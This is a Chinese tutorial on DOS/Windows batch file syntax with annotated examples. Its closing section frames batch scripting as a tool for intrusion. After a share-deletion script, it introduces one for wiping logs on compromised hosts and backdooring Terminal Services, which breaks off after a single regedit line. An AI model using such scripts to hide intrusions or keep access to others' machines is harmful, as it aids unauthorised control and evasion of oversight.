BAT批處理文件語法

==== 注 ======================================= 
.bat是dos下的批處理文件 
.cmd是nt內核命令行環境的另一種批處理文件 
從更廣義的角度來看,unix的shell腳本以及其它操作系統甚至應用程序中由外殼進行解釋執行的文本,都具有與批處理文件十分相似的作用,而且同樣是由專用解釋器以行爲單位解釋執行,這種文本形式更通用的稱謂是腳本語言。所以從某個程度分析,batch, unix shell, awk, basic, perl 等腳本語言都是一樣的,只不過應用的範圍和解釋的平臺各有不同而已。甚至有些應用程序仍然沿用批處理這一稱呼,而其內容和擴展名與dos的批處理卻又完全不同。 
=================================== 

首先批處理文件是一個文本文件,這個文件的每一行都是一條DOS命令(大部分時候就好象我們在DOS提示符下執行的命令行一樣),你可以使用DOS下的Edit或者Windows的記事本(notepad)等任何文本文件編輯工具創建和修改批處理文件。 

==== 注 =================== 
批處理文件中完全可以使用非dos命令,甚至可以使用不具有可執行特性的普通數據性文件,這緣於windows系統這個新型解釋平臺的涉入,使得批處理的應用越來越"邊緣化"。所以我們討論的批處理應該限定在dos環境或者命令行環境中,否則很多觀念和設定都需要做比較大的變動。 
======================== 

其次,批處理文件是一種簡單的程序,可以通過條件語句(if)和流程控制語句(goto)來控制命令運行的流程,在批處理中也可以使用循環語句(for)來循環執行一條命令。當然,批處理文件的編程能力與C語言等編程語句比起來是十分有限的,也是十分不規範的。批處理的程序語句就是一條條的DOS命令(包括內部命令和外部命令),而批處理的能力主要取決於你所使用的命令。 

==== 注 ================== 
批處理文件(batch file)也可以稱之爲批處理程序(batch program),這一點與編譯型語言有所不同,就c語言來說,擴展名爲c或者cpp的文件可以稱之爲c語言文件或者c語言源代碼,但只有編譯連接後的exe文件纔可以稱之爲c語言程序。因爲批處理文件本身既具有文本的可讀性,又具有程序的可執行性,這些稱謂的界限是比較模糊的。 
=========================== 

第三,每個編寫好的批處理文件都相當於一個DOS的外部命令,你可以把它所在的目錄放到你的DOS搜索路徑(path)中來使得它可以在任意位置運行。一個良好的習慣是在硬盤上建立一個bat或者batch目錄(例如C:/BATCH),然後將所有你編寫的批處理文件放到該目錄中,這樣只要在path中設置上c:/batch,你就可以在任意位置運行所有你編寫的批處理程序。 

==== 注 ===== 
純以dos系統而言,可執行程序大約可以細分爲五類,依照執行優先級由高到低排列分別是:DOSKEY宏命令(預先駐留內存),COMMAND.COM中的內部命令(根據內存的環境隨時進駐內存),以com爲擴展名的可執行程序(由command.com 直接載入內存),以exe位擴展名的可執行程序(由command.com 重定位後載入內存),以bat位擴展名的批處理程序(由command.com 解釋分析,根據其內容按優先級順序調用第2,3,4,5種可執行程序,分析一行,執行一行,文件本身不載入內存) 
============ 

第四,在DOS和Win9x/Me系統下,C:盤根目錄下的AUTOEXEC.BAT批處理文件是自動運行批處理文件,每次系統啓動時會自動運行該文件,你可以將系統每次啓動時都要運行的命令放入該文件中,例如設置搜索路徑,調入鼠標驅動和磁盤緩存,設置系統環境變量等。下面是一個運行於Windows 98下的autoexec.bat的示例: 
@ECHO OFF 
PATH C:/WINDOWS;C:/WINDOWS/COMMAND;C:/UCDOS;C:/DOSTools; 

C:/SYSTOOLS;C:/WINTOOLS;C:/BATCH 
LH SMARTDRV.EXE /X 
LH DOSKEY.COM /insert 
LH CTMOUSE.EXE 
SET TEMP=D:/TEMP 
SET TMP=D:/TEMP 
==== 注 ===== 
AUTOEXEC.BAT爲DOS系統的自動運行批處理文件,由COMMAND.COM啓動時解釋執行; 
而在Win9x環境中,不僅增加支持了 DOSSTART.BAT, WINSTART.BAT 等許多其它自動運行的批處理文件,對AUTOEXEC.BAT 也增加了 .DOS .W40 .BAK .OLD .PWS 等許多變體以適應複雜的環境和多變的需求。 
==== willsort 編注 ============= 
以下關於命令的分類,有很多值得推敲的地方。常用命令中的@本不是命令,而dir、copy等也很常用的命令卻沒有列入, 而特殊命令中所有命令對我來說都是常用命令。建議將批處理所引用的命令分爲內部命令、外部命令、第三方程序三類。而內部命令和外部命令中別有一類是專用於或常用於批處理中的命令可稱之爲"批處理命令"。 

以下摘錄MS-DOS 6.22 幫助文檔中關於"批處理命令"的文字,當然,其中有些概念和定義已經有些落後了。 

批處理命令 

批處理文件或批處理程序是一個包含若干MS-DOS命令的正文文件,擴展名爲.BAT。當在命令提示符下敲入批處理程序的名稱時,MS-DOS成組執行此批處理程序中的命令。 

任何在命令提示符下可使用的命令都可用在批處理程序中。此外,下面MS-DOS命令是專門在批處理程序中使用的。 
========== 

常用命令 

echo、@、call、pause、rem(小技巧:用::代替rem)是批處理文件最常用的幾個命令,我們就從他們開始學起。 

==== 注 =========== 
首先, @ 不是一個命令, 而是DOS 批處理的一個特殊標記符, 僅用於屏蔽命令行回顯. 下面是DOS命令行或批處理中可能會見到的一些特殊標記符: 
CR(0D) 命令行結束符 
Escape(1B) ANSI轉義字符引導符 
Space(20) 常用的參數界定符 
Tab(09) ; = 不常用的參數界定符 
+ COPY命令文件連接符 
* ? 文件通配符 
"" 字符串界定符 
| 命令管道符 
< > >> 文件重定向符 
@ 命令行回顯屏蔽符 
/ 參數開關引導符 
: 批處理標籤引導符 
% 批處理變量引導符 

其次, :: 確實可以起到rem 的註釋作用, 而且更簡潔有效; 但有兩點需要注意: 
第一, 除了 :: 之外, 任何以 :開頭的字符行, 在批處理中都被視作標號, 而直接忽略其後的所有內容, 只是爲了與正常的標號相區別, 建議使用 goto 所無法識別的標號, 即在 :後緊跟一個非字母數字的一個特殊符號. 
第二, 與rem 不同的是, ::後的字符行在執行時不會回顯, 無論是否用echo on打開命令行回顯狀態, 因爲命令解釋器不認爲他是一個有效的命令行, 就此點來看, rem 在某些場合下將比 :: 更爲適用; 另外, rem 可以用於 config.sys 文件中. 
===================== 

echo 表示顯示此命令後的字符 
echo off 表示在此語句後所有運行的命令都不顯示命令行本身 
@與echo off相象,但它是加在每個命令行的最前面,表示運行時不顯示這一行的命令行(只能影響當前行)。 
call 調用另一個批處理文件(如果不用call而直接調用別的批處理文件,那麼執行完那個批處理文件後將無法返回當前文件並執行當前文件的後續命令)。 
pause 運行此句會暫停批處理的執行並在屏幕上顯示Press any key to continue...的提示,等待用戶按任意鍵後繼續 
rem 表示此命令後的字符爲解釋行(註釋),不執行,只是給自己今後參考用的(相當於程序中的註釋)。 
==== 注 ===== 
此處的描述較爲混亂, 不如直接引用個命令的命令行幫助更爲條理 

------------------------- 
ECHO 

當程序運行時,顯示或隱藏批處理程序中的正文。也可用於允許或禁止命令的回顯。 

在運行批處理程序時,MS-DOS一般在屏幕上顯示(回顯)批處理程序中的命令。 
使用ECHO命令可關閉此功能。 

語法 

ECHO [ON|OFF] 

若要用echo命令顯示一條命令,可用下述語法: 

echo [message] 

參數 

ON|OFF 
指定是否允許命令的回顯。若要顯示當前的ECHO的設置,可使用不帶參數的ECHO 
命令。 

message 
指定讓MS-DOS在屏幕上顯示的正文。 

------------------- 

CALL 

從一個批處理程序中調用另一個批處理程序,而不會引起第一個批處理的中止。 

語法 

CALL [drive:][path]filename [batch-parameters] 

參數 

[drive:][path]filename 
指定要調用的批處理程序的名字及其存放處。文件名必須用.BAT作擴展名。 


batch-parameters 
指定批處理程序所需的命令行信息。 

------------------------------- 

PAUSE 

暫停批處理程序的執行並顯示一條消息,提示用戶按任意鍵繼續執行。只能在批處 
理程序中使用該命令。 

語法 

PAUSE 


REM 

在批處理文件或CONFIG.SYS中加入註解。也可用REM命令來屏蔽命令(在CONFIG.SYS 
中也可以用分號 ; 代替REM命令,但在批處理文件中則不能替代)。 

語法 

REM [string] 

參數 

string 
指定要屏蔽的命令或要包含的註解。 
======================= 

例1:用edit編輯a.bat文件,輸入下列內容後存盤爲c:/a.bat,執行該批處理文件後可實現:將根目錄中所有文件寫入 a.txt中,啓動UCDOS,進入WPS等功能。 

  批處理文件的內容爲:         命令註釋: 

    @echo off           不顯示後續命令行及當前命令行 
    dir c:/*.* >a.txt       將c盤文件列表寫入a.txt 
    call c:/ucdos/ucdos.bat    調用ucdos 
    echo 你好            顯示"你好" 
    pause              暫停,等待按鍵繼續 
    rem 準備運行wps         註釋:準備運行wps 
    cd ucdos            進入ucdos目錄 
    wps               運行wps   

批處理文件的參數 

批處理文件還可以像C語言的函數一樣使用參數(相當於DOS命令的命令行參數),這需要用到一個參數表示符"%"。 

%[1-9]表示參數,參數是指在運行批處理文件時在文件名後加的以空格(或者Tab)分隔的字符串。變量可以從%0到%9,%0表示批處理命令本身,其它參數字符串用%1到%9順序表示。 

例2:C:根目錄下有一批處理文件名爲f.bat,內容爲: 
@echo off 
format %1 

如果執行C:/>f a: 
那麼在執行f.bat時,%1就表示a:,這樣format %1就相當於format a:,於是上面的命令運行時實際執行的是format a: 

例3:C:根目錄下一批處理文件名爲t.bat,內容爲: 
@echo off 
type %1 
type %2 

那麼運行C:/>t a.txt b.txt 
%1 : 表示a.txt 
%2 : 表示b.txt 
於是上面的命令將順序地顯示a.txt和b.txt文件的內容。 

==== 注 =============== 
參數在批處理中也作爲變量處理, 所以同樣使用百分號作爲引導符, 其後跟0-9中的一個數字構成參數引用符. 引用符和參數之間 (例如上文中的 %1 與 a: ) 的關係類似於變量指針與變量值的關係. 當我們要引用第十一個或更多個參數時, 就必須移動DOS 的參數起始指針. shift 命令正充當了這個移動指針的角色, 它將參數的起始指針移動到下一個參數, 類似C 語言中的指針操作. 圖示如下: 

初始狀態, cmd 爲命令名, 可以用 %0 引用 
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10 
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ 
| | | | | | | | | | 
%0 %1 %2 %3 %4 %5 %6 %7 %8 %9 

經過1次shift後, cmd 將無法被引用 
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10 
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ 
| | | | | | | | | | 
%0 %1 %2 %3 %4 %5 %6 %7 %8 %9 

經過2次shift後, arg1也被廢棄, %9指向爲空, 沒有引用意義 
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10 
^ ^ ^ ^ ^ ^ ^ ^ ^ 
| | | | | | | | | 
%0 %1 %2 %3 %4 %5 %6 %7 %8 

遺憾的是, win9x 和DOS下均不支持 shift 的逆操作. 只有在 nt 內核命令行環境下, shift 才支持 /n 參數, 可以以第一參數爲基準返復移動起始指針. 
================= 

特殊命令 


if goto choice for是批處理文件中比較高級的命令,如果這幾個你用得很熟練,你就是批處理文件的專家啦。 


一、if 是條件語句,用來判斷是否符合規定的條件,從而決定執行不同的命令。 有三種格式: 

1、if [not] "參數" == "字符串" 待執行的命令 

參數如果等於(not表示不等,下同)指定的字符串,則條件成立,運行命令,否則運行下一句。 

例:if "%1"=="a" format a: 

==== 

if 的命令行幫助中關於此點的描述爲: 
IF [NOT] string1==string2 command 
在此有以下幾點需要注意: 
1. 包含字符串的雙引號不是語法所必須的, 而只是習慣上使用的一種"防空"字符 
2. string1 未必是參數, 它也可以是環境變量, 循環變量以及其他字符串常量或變量 
3. command 不是語法所必須的, string2 後跟一個空格就可以構成一個有效的命令行 
============================= 

2、if [not] exist [路徑/]文件名 待執行的命令 
如果有指定的文件,則條件成立,運行命令,否則運行下一句。 

如: if exist c:/config.sys type c:/config.sys 
表示如果存在c:/config.sys文件,則顯示它的內容。 

****** 注 ******** 
也可以使用以下的用法: 
if exist command 
device 是指DOS系統中已加載的設備, 在win98下通常有: 
AUX, PRN, CON, NUL 
COM1, COM2, COM3, COM4 
LPT1, LPT2, LPT3, LPT4 
XMSXXXX0, EMMXXXX0 
A: B: C: ..., 
CLOCK$, CONFIG$, DblBuff$, IFS$HLP$ 
具體的內容會因硬軟件環境的不同而略有差異, 使用這些設備名稱時, 需要保證以下三點: 
1. 該設備確實存在(由軟件虛擬的設備除外) 
2. 該設備驅動程序已加載(aux, prn等標準設備由系統缺省定義) 
3. 該設備已準備好(主要是指a: b: ..., com1..., lpt1...等) 
可通過命令 mem/d | find "device" /i 來檢閱你的系統中所加載的設備 
另外, 在DOS系統中, 設備也被認爲是一種特殊的文件, 而文件也可以稱作字符設備; 因爲設備(device)與文件都是使用句柄(handle)來管理的, 句柄就是名字, 類似於文件名, 只不過句柄不是應用於磁盤管理, 而是應用於內存管理而已, 所謂設備加載也即指在內存中爲其分配可引用的句柄. 
================================== 

3、if errorlevel <數字> 待執行的命令 

很多DOS程序在運行結束後會返回一個數字值用來表示程序運行的結果(或者狀態),通過if errorlevel命令可以判斷程序的返回值,根據不同的返回值來決定執行不同的命令(返回值必須按照從大到小的順序排列)。如果返回值等於指定的數字,則條件成立,運行命令,否則運行下一句。 

如if errorlevel 2 goto x2 

==== 注 =========== 
返回值從大到小的順序排列不是必須的, 而只是執行命令爲 goto 時的習慣用法, 當使用 set 作爲執行命令時, 通常會從小到大順序排列, 比如需將返回碼置入環境變量, 就需使用以下的順序形式: 

if errorlevel 1 set el=1 
if errorlevel 2 set el=2 
if errorlevel 3 set el=3 
if errorlevel 4 set el=4 
if errorlevel 5 set el=5 
... 

當然, 也可以使用以下循環來替代, 原理是一致的: 
for %%e in (1 2 3 4 5 6 7 8...) do if errorlevel %%e set el=%%e 

更高效簡潔的用法, 可以參考我寫的另一篇關於獲取 errorlevel 的文章 

出現此種現象的原因是, if errorlevel 比較返回碼的判斷條件並非等於, 而是大於等於. 由於 goto 的跳轉特性, 由小到大排序會導致在較小的返回碼處就跳出; 而由於 set命令的 "重複" 賦值特性, 由大到小排序會導致較小的返回碼 "覆蓋" 較大的返回碼. 

另外, 雖然 if errorlevel=<數字> command 也是有效的命令行, 但也只是 command.com 解釋命令行時將 = 作爲命令行切分符而忽略掉罷了 
=========================== 
二、goto 批處理文件運行到這裏將跳到goto所指定的標號(標號即label,標號用:後跟標準字符串來定義)處,goto語句一般與if配合使用,根據不同的條件來執行不同的命令組。 

如: 

goto end 

:end 
echo this is the end 

標號用":字符串"來定義,標號所在行不被執行。 

====  編注 

label 常被譯爲 "標籤" , 但是這並不具有廣泛的約定性. 

goto 與 : 聯用可實現執行中途的跳轉, 再結合 if 可實現執行過程的條件分支, 多個 if 即可實現命令的分組, 類似 C 中 switch case 結構或者 Basic 中的 select case 結構, 大規模且結構化的命令分組即可實現高級語言中的函數功能. 以下是批處理和C/Basic在語法結構上的對照: 

Batch C / Basic 
goto&: goto&: 
goto&:&if if{}&else{} / if&elseif&endif 
goto&:&if... switch&case / select case 
goto&:&if&set&envar... function() / function(),sub() 
================================== 
三、choice 使用此命令可以讓用戶輸入一個字符(用於選擇),從而根據用戶的選擇返回不同的errorlevel,然後於if errorlevel配合,根據用戶的選擇運行不同的命令。 

注意:choice命令爲DOS或者Windows系統提供的外部命令,不同版本的choice命令語法會稍有不同,請用choice /?查看用法。 

choice的命令語法(該語法爲Windows 2003中choice命令的語法,其它版本的choice的命令語法與此大同小異): 

CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text] 

描述: 
該工具允許用戶從選擇列表選擇一個項目並返回所選項目的索引。 

參數列表: 
/C choices 指定要創建的選項列表。默認列表是 "YN"。 

/N 在提示符中隱藏選項列表。提示前面的消息得到顯示, 
選項依舊處於啓用狀態。 

/CS 允許選擇分大小寫的選項。在默認情況下,這個工具 
是不分大小寫的。 

/T timeout 做出默認選擇之前,暫停的秒數。可接受的值是從 0 
到 9999。如果指定了 0,就不會有暫停,默認選項 
會得到選擇。 

/D choice 在 nnnn 秒之後指定默認選項。字符必須在用 /C 選 
項指定的一組選擇中; 同時,必須用 /T 指定 nnnn。 

/M text 指定提示之前要顯示的消息。如果沒有指定,工具只 
顯示提示。 

/? 顯示幫助消息。 

注意: 
ERRORLEVEL 環境變量被設置爲從選擇集選擇的鍵索引。列出的第一個選 
擇返回 1,第二個選擇返回 2,等等。如果用戶按的鍵不是有效的選擇, 
該工具會發出警告響聲。如果該工具檢測到錯誤狀態,它會返回 255 的 
ERRORLEVEL 值。如果用戶按 Ctrl+Break 或 Ctrl+C 鍵,該工具會返回 0 
的 ERRORLEVEL 值。在一個批程序中使用 ERRORLEVEL 參數時,將參數降 
序排列。 

示例: 
CHOICE /? 
CHOICE /C YNC /M "確認請按 Y,否請按 N,或者取消請按 C。" 
CHOICE /T 10 /C ync /CS /D y 
CHOICE /C ab /M "選項 1 請選擇 a,選項 2 請選擇 b。" 
CHOICE /C ab /N /M "選項 1 請選擇 a,選項 2 請選擇 b。" 

==== 編注 =============================== 
我列出win98下choice的用法幫助, 已資區分 

Waits for the user to choose one of a set of choices. 
等待用戶選擇一組待選字符中的一個 


CHOICE [/C[:]choices] [/N] [/S] [/T[:]c,nn] [text] 

/C[:]choices Specifies allowable keys. Default is YN 
指定允許的按鍵(待選字符), 默認爲YN 
/N Do not display choices and ? at end of prompt string. 
不顯示提示字符串中的問號和待選字符 
/S Treat choice keys as case sensitive. 
處理待選字符時大小寫敏感 
/T[:]c,nn Default choice to c after nn seconds 
在 nn 秒後默認選擇 c 
text Prompt string to display 
要顯示的提示字符串 
ERRORLEVEL is set to offset of key user presses in choices. 
ERRORLEVEL 被設置爲用戶鍵入的字符在待選字符中的偏移值 
如果我運行命令:CHOICE /C YNC /M "確認請按 Y,否請按 N,或者取消請按 C。" 
屏幕上會顯示: 
確認請按 Y,否請按 N,或者取消請按 C。 [Y,N,C]? 


例:test.bat的內容如下(注意,用if errorlevel判斷返回值時,要按返回值從高到低排列): 

@echo off 
choice /C dme /M "defrag,mem,end" 
if errorlevel 3 goto end 
if errorlevel 2 goto mem 
if errorlevel 1 goto defrag 

:defrag 
c:/dos/defrag 
goto end 

:mem 
mem 
goto end 

:end 
echo good bye

此批處理運行後,將顯示"defrag,mem,end[D,M,E]?" ,用戶可選擇d m e ,然後if語句根據用戶的選擇作出判斷,d表示執行標號爲defrag的程序段,m表示執行標號爲mem的程序段,e表示執行標號爲end的程序段,每個程序段最後都以goto end將程序跳到end標號處,然後程序將顯示good bye,批處理運行結束。 

四、for 循環命令,只要條件符合,它將多次執行同一命令。 

語法: 
對一組文件中的每一個文件執行某個特定命令。 

FOR %%variable IN (set) DO command [command-parameters] 

%%variable 指定一個單一字母可替換的參數。 
(set) 指定一個或一組文件。可以使用通配符。 
command 指定對每個文件執行的命令。 
command-parameters 
爲特定命令指定參數或命令行開關。 

例如一個批處理文件中有一行: 
for %%c in (*.bat *.txt) do type %%c 

則該命令行會顯示當前目錄下所有以bat和txt爲擴展名的文件的內容。 

==== 編注 ===========================================
需要指出的是, 當()中的字符串並非單個或多個文件名時, 它將單純被當作字符串替換, 這個特性再加上()中可以嵌入多個字符串的特性, 很明顯 for 可以被看作一種遍歷型循環. 
當然, 在 nt/2000/xp/2003 系列的命令行環境中, for 被賦予了更多的特性, 使之可以分析命令輸出或者文件中的字符串, 也有很多開關被用於擴展了文件替換功能. 
=======================================================
批處理示例 

1. IF-EXIST 

1) 首先用記事本在C:/建立一個test1.bat批處理文件,文件內容如下: 

@echo off 
IF EXIST /AUTOEXEC.BAT TYPE /AUTOEXEC.BAT 
IF NOT EXIST /AUTOEXEC.BAT ECHO /AUTOEXEC.BAT does not exist
 

然後運行它: 
C:/>TEST1.BAT 

如果C:/存在AUTOEXEC.BAT文件,那麼它的內容就會被顯示出來,如果不存在,批處理就會提示你該文件不存在。 

2) 接着再建立一個test2.bat文件,內容如下: 

@ECHO OFF 
IF EXIST /%1 TYPE /%1 
IF NOT EXIST /%1 ECHO /%1 does not exist
 
執行: 
C:/>TEST2 AUTOEXEC.BAT 
該命令運行結果同上。 

說明: 
(1) IF EXIST 是用來測試文件是否存在的,格式爲 
IF EXIST [路徑+文件名] 命令 
(2) test2.bat文件中的%1是參數,DOS允許傳遞9個批參數信息給批處理文件,分別爲%1~%9(%0表示test2命令本身) ,這有點象編程中的實參和形參的關係,%1是形參,AUTOEXEC.BAT是實參。 

==== willsort 編注 ===========================================
DOS沒有 "允許傳遞9個批參數信息" 的限制, 參數的個數只會受到命令行長度和所調用命令處理能力的限制. 但是, 我們在批處理程序中, 在同一時刻只能同時引用10個參數, 因爲 DOS只給出了 %0~%9這十個參數引用符. 
=======================================================
3) 更進一步的,建立一個名爲TEST3.BAT的文件,內容如下: 

@echo off 
IF "%1" == "A" ECHO XIAO 
IF "%2" == "B" ECHO TIAN 
IF "%3" == "C" ECHO XIN 

如果運行: 
C:/>TEST3 A B C 
屏幕上會顯示: 
XIAO 
TIAN 
XIN 

如果運行: 
C:/>TEST3 A B 
屏幕上會顯示 
XIAO 
TIAN 

在這個命令執行過程中,DOS會將一個空字符串指定給參數%3。 

2、IF-ERRORLEVEL 
建立TEST4.BAT,內容如下: 

@ECHO OFF 
XCOPY C:/AUTOEXEC.BAT D:/ 
IF ERRORLEVEL 1 ECHO 文件拷貝失敗 
IF ERRORLEVEL 0 ECHO 成功拷貝文件
 
然後執行文件: 
C:/>TEST4 

如果文件拷貝成功,屏幕就會顯示"成功拷貝文件",否則就會顯示"文件拷貝失敗"。 

IF ERRORLEVEL 是用來測試它的上一個DOS命令的返回值的,注意只是上一個命令的返回值,而且返回值必須依照從大到小次序順序判斷。 
因此下面的批處理文件是錯誤的: 

@ECHO OFF 
XCOPY C:/AUTOEXEC.BAT D:/ 
IF ERRORLEVEL 0 ECHO 成功拷貝文件 
IF ERRORLEVEL 1 ECHO 未找到拷貝文件 
IF ERRORLEVEL 2 ECHO 用戶通過ctrl-c中止拷貝操作 
IF ERRORLEVEL 3 ECHO 預置錯誤阻止文件拷貝操作 
IF ERRORLEVEL 4 ECHO 拷貝過程中寫盤錯誤 

無論拷貝是否成功,後面的: 

未找到拷貝文件 
用戶通過ctrl-c中止拷貝操作 
預置錯誤阻止文件拷貝操作 
拷貝過程中寫盤錯誤 

都將顯示出來。 

以下就是幾個常用命令的返回值及其代表的意義: 

backup 
0 備份成功 
1 未找到備份文件 
2 文件共享衝突阻止備份完成 
3 用戶用ctrl-c中止備份 
4 由於致命的錯誤使備份操作中止 

diskcomp 
0 盤比較相同 
1 盤比較不同 
2 用戶通過ctrl-c中止比較操作 
3 由於致命的錯誤使比較操作中止 
4 預置錯誤中止比較 

diskcopy 
0 盤拷貝操作成功 
1 非致命盤讀/寫錯 
2 用戶通過ctrl-c結束拷貝操作 
3 因致命的處理錯誤使盤拷貝中止 
4 預置錯誤阻止拷貝操作 

format 
0 格式化成功 
3 用戶通過ctrl-c中止格式化處理 
4 因致命的處理錯誤使格式化中止 
5 在提示"proceed with format(y/n)?"下用戶鍵入n結束 

xcopy 
0 成功拷貝文件 
1 未找到拷貝文件 
2 用戶通過ctrl-c中止拷貝操作 
4 預置錯誤阻止文件拷貝操作 
5 拷貝過程中寫盤錯誤 

chkdsk 
0 未找到錯誤 
255 找到一個或多個錯誤 

choice 
0 用戶按下ctrl+c/break 
1 用戶按下第一個鍵 
255 檢測到命令行中的錯誤條件 
其它 用戶按下的有效字符在列表中的位置 

defrag 
0 碎片壓縮成功 
1 出現內部錯誤 
2 磁盤上沒有空簇。要運行DEFRAG,至少要有一個空簇 
3 用戶用Ctrl+C退出了DEFRAG 
4 出現一般性錯誤 
5 DEFRAG在讀簇時遇到錯誤 
6 DEFRAG在寫簇時遇到錯誤 
7 分配空間有錯 
8 內存錯 
9 沒有足夠空間來壓縮磁盤碎片 

deltree 
0 成功地刪除一個目錄 

diskcomp 
0 兩盤相同 
1 發現不同 
2 按CTRL+C 終止了比較 
3 出現嚴重錯誤 
4 出現初始化錯誤 

find 
0 查找成功且至少找到了一個匹配的字符串 
1 查找成功但沒找到匹配的字符串 
2 查找中出現了錯誤 

keyb 
0 鍵盤定義文件裝入成功 
1 使用了非法的鍵盤代碼,字符集或語法 
2 鍵盤定義文件壞或未找到 
4 鍵盤、監視器通訊時出錯 
5 要求的字符集未準備好 

move 
0 成功地移動了指定的文件 
1 發生了錯誤 

msav /N 
86 檢查到了病毒 

replace 
0 REPLACE成功地替換或加入了文件 
1 MS-DOS版本和REPLACE不兼容 
2 REPLACE找不到源文件 
3 REPLACE找不到源路徑或目標路徑 
5 不能存取要替換的文件 
8 內存不夠無法執行REPLACE 
11 命令行句法錯誤 

restore 
0 RESTORE成功地恢復了文件 
1 RESTORE找不到要恢復的文件 
3 用戶按CTRL+C終止恢復過程 
4 RESTORE因錯誤而終止 

scandisk 
0 ScanDisk在它檢查的驅動器上未檢測到任何錯誤 
1 由於命令行的語法不對,不能運行ScanDisk 
2 由於內存用盡或發生內部錯誤,ScanDisk意外終止 
3 用戶讓ScanDisk中途退出 
4 進行盤面掃描時,用戶決定提前退出 
254 ScanDisk找到磁盤故障並已全部校正 
255 ScanDisk找到磁盤故障,但未能全部校正 

setver 
0 SETVER成功地完成了任務 
1 用戶指定了一個無效的命令開關 
2 用戶指定了一個非法的文件名 
3 沒有足夠的系統內存來運行命令 
4 用戶指定了一個非法的版本號格式 
5 SETVER在版本表中未找到指定的項 
6 SETVER未找到SETVER.EXE文件 
7 用戶指定了一個非法的驅動器 
8 用戶指定了太多的命令行參數 
9 SETVER檢測到丟失了命令行參數 
10 在讀SETVER.EXE文件時,SETVER檢測到發生錯誤 
11 SETVER.EXE文件損壞 
12 指定的SETVER.EXE文件不支持版本表 
13 版本表中沒有足夠的空間存放新的項 
14 在寫SETVER.EXE文件時SETVER檢測到發生錯誤 
=======================================================
3、IF STRING1 == STRING2 

建立TEST5.BAT,文件內容如下: 

@echo off 
IF "%1" == "A" FORMAT A:
 
執行: 
C:/>TEST5 A 
屏幕上就出現是否將A:盤格式化的內容。 

注意:爲了防止參數爲空的情況,一般會將字符串用雙引號(或者其它符號,注意不能使用保留符號)括起來。 
如:if [%1]==[A] 或者 if %1*==A* 
5、GOTO 
建立TEST6.BAT,文件內容如下: 

@ECHO OFF 
IF EXIST C:/AUTOEXEC.BAT GOTO _COPY 
GOTO _DONE 
:_COPY 
COPY C:/AUTOEXEC.BAT D:/ 
:_DONE
 

注意: 
(1) 標號前是ASCII字符的冒號":",冒號與標號之間不能有空格。 
(2) 標號的命名規則與文件名的命名規則相同。 
(3) DOS支持最長八位字符的標號,當無法區別兩個標號時,將跳轉至最近的一個標號。 
==== willsort 編注 ===========================================
1)標號也稱作標籤(label) 
2)標籤不能以大多數的非字母數字字符開始, 而文件名中則可以使用很多 
3)當無法區別兩個標籤時, 將跳轉至位置最靠前的標籤 
=======================================================
6、FOR 

建立C:/TEST7.BAT,文件內容如下: 

@ECHO OFF 
FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C
 
運行: 
C:/>TEST7 
執行以後,屏幕上會將C:盤根目錄下所有以BAT、TXT、SYS爲擴展名的文件內容顯示出來(不包括隱藏文件)。        

--------------------------------------------------------------------------------
批處理命令實例分析

批處理文件是無格式的文本文件,它包含一條或多條命令。它的文件擴展名爲 .bat 或 .cmd。在命令提示下鍵入批處理文件的名稱,或者雙擊該批處理文件,系統就會調用Cmd.exe按照該文件中各個命令出現的順序來逐個運行它們。使用批處理文件(也被稱爲批處理程序或腳本),可以簡化日常或重複性任務。當然我們的這個版本的主要內容是介紹批處理在入侵中一些實際運用,例如我們後面要提到的用批處理文件來給系統打補丁、批量植入後門程序等。下面就開始我們批處理學習之旅吧。 (本文因篇幅較長,所以分成兩部份。前半部份講命令,後半部分講實例分析。) 

  六、精彩實例放送 

  1.刪除win2k/xp系統默認共享的批處理 

  ------------------------ cut here then save as .bat or .cmd file --------------------------- 

  @echo preparing to delete all the default shares.when ready pres any key. 

  @pause 

  @echo off 

  :Rem check parameters if null show usage. 

  if =={} goto :Usage 

  :Rem code start. 

  echo. 

  echo ------------------------------------------------------ 

  echo. 

  echo Now deleting all the default shares. 

  echo. 

  net share %1$ /delete 

  net share %2$ /delete 

  net share %3$ /delete 

  net share %4$ /delete 

  net share %5$ /delete 

  net share %6$ /delete 

  net share %7$ /delete 

  net share %8$ /delete 

  net share %9$ /delete 

  net stop Server 

  net start Server 

  echo. 

  echo All the shares have been deleteed 

  echo. 

  echo ------------------------------------------------------ 

  echo. 

  echo Now modify the registry to change the system default properties. 

  echo. 

  echo Now creating the registry file 

  echo Windows Registry Editor Version 5.00> c:/delshare.reg 

  echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/lanmanserver/parameters]>> c:/delshare.reg 

  echo "AutoShareWks"=dword:00000000>> c:/delshare.reg 

  echo "AutoShareServer"=dword:00000000>> c:/delshare.reg 

  echo Nowing using the registry file to chang the system default properties. 

  regedit /s c:/delshare.reg 

  echo Deleting the temprotarily files. 

  del c:/delshare.reg 

  goto :END 

  :Usage 

  echo. 

  echo ------------------------------------------------------ 

  echo. 

  echo ☆ A example for batch file ☆ 

  echo ☆ [Use batch file to change the sysytem share properties.] ☆ 

  echo. 

  echo Author:Ex4rch 

  echo Mail:[email protected] 

  echo. 

  echo Error:Not enough parameters 

  echo. 

  echo ☆ Please enter the share disk you wanna delete ☆ 

  echo. 

  echo For instance,to delete the default shares: 

  echo delshare c d e ipc admin print 

  echo. 

  echo If the disklable is not as C: D: E: ,Please chang it youself. 

  echo. 

  echo example: 

  echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into : 

  echo delshare c d e x y z ipc admin print 

  echo. 

  echo *** you can delete nine shares once in a useing *** 

  echo. 

  echo ------------------------------------------------------ 

  goto :EOF 

  :END 

  echo. 

  echo ------------------------------------------------------ 

  echo. 

  echo OK,delshare.bat has deleted all the share you assigned. 

  echo.Any questions ,feel free to mail to [email protected]

  echo 

  echo. 

  echo ------------------------------------------------------ 

  echo. 

  :EOF 

  echo end of the batch file 


  ------------------------ cut here then save as .bat or .cmd file --------------------------- 

  ------------------------ cut here then save as .bat or .cmd file --------------------------- 

  下面命令是清除肉雞所有日誌,禁止一些危險的服務,並修改肉雞的terminnal service留跳後路。

  @regedit /s patch.dll 

